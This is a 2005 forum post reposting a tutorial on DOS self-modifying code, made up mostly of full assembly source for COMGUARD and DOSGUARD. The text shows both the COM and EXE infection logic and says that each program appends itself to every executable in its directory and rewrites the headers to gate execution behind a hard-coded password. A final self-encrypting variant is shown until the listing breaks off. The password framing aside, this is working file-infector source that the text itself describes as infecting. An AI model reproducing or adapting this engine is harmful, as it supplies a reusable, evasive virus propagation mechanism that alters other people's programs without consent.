-
-
被人忘却的DOS平台全套SMC技术!
-
发表于: 2005-5-19 10:21 7594
-
SELF-MODIFYING CODE PROJECT 1
OBJECTIVE
To learn the basic techniques required to modify the code segment of
a DOS COM file and to write a program with a practical application
that does so.
PROGRAM DESCRIPTION
The program COMGUARD.COM is DOS application which modifies the code
segment of every other COM file in the same directory. COMGUARD
adds code to each of these programs that requires the user to enter
a password in order to continue execution of the program.
STRUCTURE OF COM FILES
Unlike the EXE file format, the programmer has no input into the
segment format of COM files. All COM files consist of 1 segment
only, with no defined distinction between data and code. After
DOS finishes some preparatory work, the COM file is loaded at
offset 100h. The first 256 bytes are known as the Program Segment
Prefix(PSP). Located at offset 80h is an important data structure
called the DTA or Data Transfer Area. The DTA is important, but
most of the rest of the PSP can be ignored by the programmer.
Before actually starting execution of the COM program, DOS sets
up the stack at the top of the segment.
OUTLINE OF COMGUARD'S EXECUTION
1. Search for files in current directory ending in ".com".
2. Open the file and read 1st 5 bytes.
3. Check to see if the file has already been modified by COMGUARD
by checking if the values of the 4th and 5th bytes match the
COMGUARD identification string of "CG".
4. Make sure the file is not really an EXE file because after
DOS 6.0 some files ending in ".com" were really EXEs.
5. Make sure the file is not so large that when COMGUARD adds its
code it doesn't exceed the 64k segment size.
6. If the file passes 3-5 then its ok to modify, so COMGUARD opens
it and writes the authentication code to the end of the file.
7. Calculate the size of the jump to the authentication code and
write the jump instruction along with the identificatioin
string to the beginning of the file.
8. Jump to step #1 and repeat until all files in the current
directory have been checked.
OUTLINE OF A MODIFIED PROGRAM'S EXECUTION
1. Jump to the authentication code at the end of the program body.
2. Calculate what virus writers call the Delta Offset. This is
necessary because data is always referenced by absolute
addresses which will change with every program COMGUARD infects.
3. Ask for the password and if the answer is wrong, then quit to
DOS.
4. If the password is correct, then restore the first 5 bytes of the
file and continue execution from there just like COMGUARD never
existed.
NEXT STEP
Add the capability to modify the EXE file format as well.
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov ah, 4Eh ;Search for files matching filter
mov dx, offset filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NOINFECT
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je NOINFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NOINFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
NOINFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
mov ax, 4C00h ;DOS terminate
int 21h
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
filter DB '*.com',0
bytes DB 0,0,0,'CG'
END START
SELF-MODIFYING CODE PROJECT 2
OBJECTIVE
To learn the basic techniques required to modify the code segment of
a DOS EXE file and to write a program with a practical application
that does so.
PROGRAM DESCRIPTION
The program DOSGUARD.COM is a DOS application which modifies the code
segment of every COM and EXE file in the same directory. DOSGUARD
adds code to each of these programs that requires the user to enter
a password in order to continue execution of the program.
STRUCTURE OF EXE FILES
The EXE file format is much more complicated than the COM format.
The big differnece is that EXE files allow the program to specify
how it wants its segments to be laid out in memory, allowing
programs to exceed one 64k segment in size. Most EXEs will have
seperate code, data, and stack segments.
All of this information is stored in the EXE Header. Here's a brief
rundown of what the header looks like:
Offset Size Field
0 2 Signature. Will always be 'MZ'
2 2 Last Page Size. Number of bytes on the last
page of memory.
4 2 Page Count. Number of 512 byte pages in the file.
6 2 Relocation Table Entries. Number of items in the
relocation pointer table.
8 2 Header Size. Size of header in paragraphs,
including the relocation pointer table.
10 2 Minalloc
12 2 Maxalloc
14 2 Initial Stack Segment.
16 2 Initial Stack Pointer.
18 2 Checksum. (Usually ignored)
20 2 Initial Instruction Pointer
22 2 Initial Code Segment
24 2 Relocation Table Offset. Offset to the start of
the relocation pointer table.
26 2 Overlay Number. Primary executables(the ones we
wish to modify) always have this set to zero.
Following the EXE header is the relocation pointer table, with a
variable amount of blank space between the header and the start of the
table. The relocation table is a table of offsets. These offsets are
combined with starting segment values calculated by DOS to point to a word
in memory where the final segment address is written. Essentially, the
relocation pointer table is DOS's way to handle the dynamic placement of
segments into physical memory. This isn't a problem with COM files
because there is only one segment and the program isn't aware of anything
else. Following the relocation pointer table is another variable amount
of reserved space and finally the program body.
To succesfully add code to an EXE file requires careful manipulation of
the EXE header and relocation pointer table.
BRIEF DESCRIPTION OF DOSGUARD
DOSGUARD is a small DOS utility that adds code to all DOS EXE and COM files
within the same directory it inhabits. DOSGUARD will skip over windows
and OS/2 executables and will only modify those COM files which have
enough available space. Also, it avoids modifying itself and files which
it has already changed. Successfully modified files will prompt the user
to enter a password before running the program. DOSGUARD serves as a
good example of the steps necessary to add modify the code of a DOS EXE
file. Also, it demonstrates one practical application of code modification.
BRIEF OVERVIEW OF DOSGUARD'S EXECUTION
DOSGUARD begins by finding and infecting all the COM files in the same
directory. This document will ignore the details of COM file modification
as that subject is covered sufficiently in the documentation of DOSGUARD's
little brother COMGUARD. DOSGUARD borrow its COM file code directly from
COMGUARD.
Next, DOSGUARD has to search for EXE files and determine which ones it can
safely modify. First of all, it checks the first 2 bytes of the file to
make sure that they are 'MZ', the signature which all EXE files have in
common. After that, DOSGUARD ensures that the file hasn't already been
infected. If the following caluation is true, then the file has already
been modified by DOSGUARD:
(initial CS * 16) + 9Fh + size of EXE header in bytes == filesize
9Fh is the length(in bytes) of the code that DOSGUARD adds to the end of
each EXE file it infects. So, the initial CS which is stored in the EXE
header, combined with the initial IP(which is always zero in this case so
it is left out of the calculation) is exactly 9Fh bytes from the end of the
file. Those 2 figures plus the size of the EXE header(which is ignored by
the program when it determines segment offsets) equals the size of the file
if it has already been infected by DOSGUARD. Also, DOSGUARD only infects
primary executables, so it checks to make sure the Overlay Number in the
EXE header is zero.
DOSGUARD also must avoid non-DOS executables like those for Windows or OS/2.
DOSGUARD does this by checking the offset to the relocation pointer table.
If the offset is greater than 40h, then the EXE could possibly be for
windows or OS/2. The problem with this method is that it also causes
DOSGUARD to skip some valid DOS executables.
Once a file has been deemed safe to modify, DOSGUARD copies its code to the
end of the file and determines the starting CS and IP for this code. These
values will become the new starting segment values, so the new code will be
executed before the main program. When the infected program is finished
executing, it will jump to the original starting CS and IP if the proper
password was given and execute the main program.
STEP-BY-STEP MODIFICATION OF AN EXE FILE
1. Check the relocation pointer table to make sure there is room.
DOSGUARD has to add 2 entries to the relocation pointer table. Each of
these pointers is a double word(4 bytes). Since the relocation pointer
table is part of the EXE header and the header can't be a fraction of a
paragraph in size, there is a chance that the header will have to be
extended one paragraph in order to fit the extra 8 bytes. Extending the
header requires reading in the entire file below the header and writing
it back out one paragraph down. Also, the header will have to be modified
appropriately(Last Page Size, Page Count, and Header Size will need to be
updated). In either case, the number of relocation table entries will need
to be increased by two in the header.
2. Save original ss, sp, cs, and ip.
These four values must be copied from the EXE header and stored within the
code which will be added to the EXE file.
3. Adjust file length to paragraph boundary.
In order to simplify the new code's starting IP, the file's length is
extended to a paragraph boundary(multiple of 16). This causes the new code's
staring IP to always be zero and makes it easier to calculate the starting
code segment.
4. Write code to the end of the file.
Write the code we want to add to the end of the EXE file.
5. Adjust the EXE header and write it out to the file.
Make modifications to the EXE heder to reflect the changes we've made:
initial CS = (file size before we added our code) / 16 - (header size in paragraphs)
initial IP = 0
initlal SS = same as the initial CS (all of our code operates in one segment)
initial SP = size of the code we added + 100h
recalculate Last Page Size and Page Count
increase relocation table entires by 2
6. Modify relocation table
We'll be adding two 4 byte pointers to the end of the relocation table. The
segment for both of these pointers will be the same as the initial CS of our
code. The offsets will point to the initial SS and initial CS. In
DOSGUARD they correspond to the offsets "hosts" and "hostc+2". So the end
result are two pointers which point to the location of the initial SS and
the initial CS of our code.
RESPONSIBILITIES OF INSERTED CODE
There are several items which the code module we added must take into
consideration. First of all, when its finished, the state of registers, etc.
must be exactly what the original program would expect them to be. For
instance, ax is set by DOS to indicate whether or not the Drive ID stored in
the FCBs is valid. So, the value of ax must be preserved by our code. Also,
the original program may expect other registers to be set to initial values
of zero. And of course, the segment registers need to be restored after our
code's execution.
Another thing is that inserted code can't be dependent on absolute addresses
for its data. Therefore, DOSGUARD accesses all data by its offset from the
end of the file.
REFERENCES
The Giant Black Book of Computer Viruses, 2nd Edition. Mark Ludwig
DOS Programmer's Reference. Terry R. Dettmann
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
mov bp, offset ENDGUARD2 - offset EXEGUARD
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds
mov ax, ds
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
delta DW 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
Dosguard with self-encryption.
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
;Encrypt the code before we write it out
mov si, offset ENCRYPTED ;si and di set to address to start
mov di, si ;encrypting.
in al, 40h ;Grab random key from the system clock
mov [comkey], al ;The encryption key
mov dl, al
mov cx, COMCRYPT - ENCRYPTED;Size of code to encrypt
call COMCRYPT ;The encryption function
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
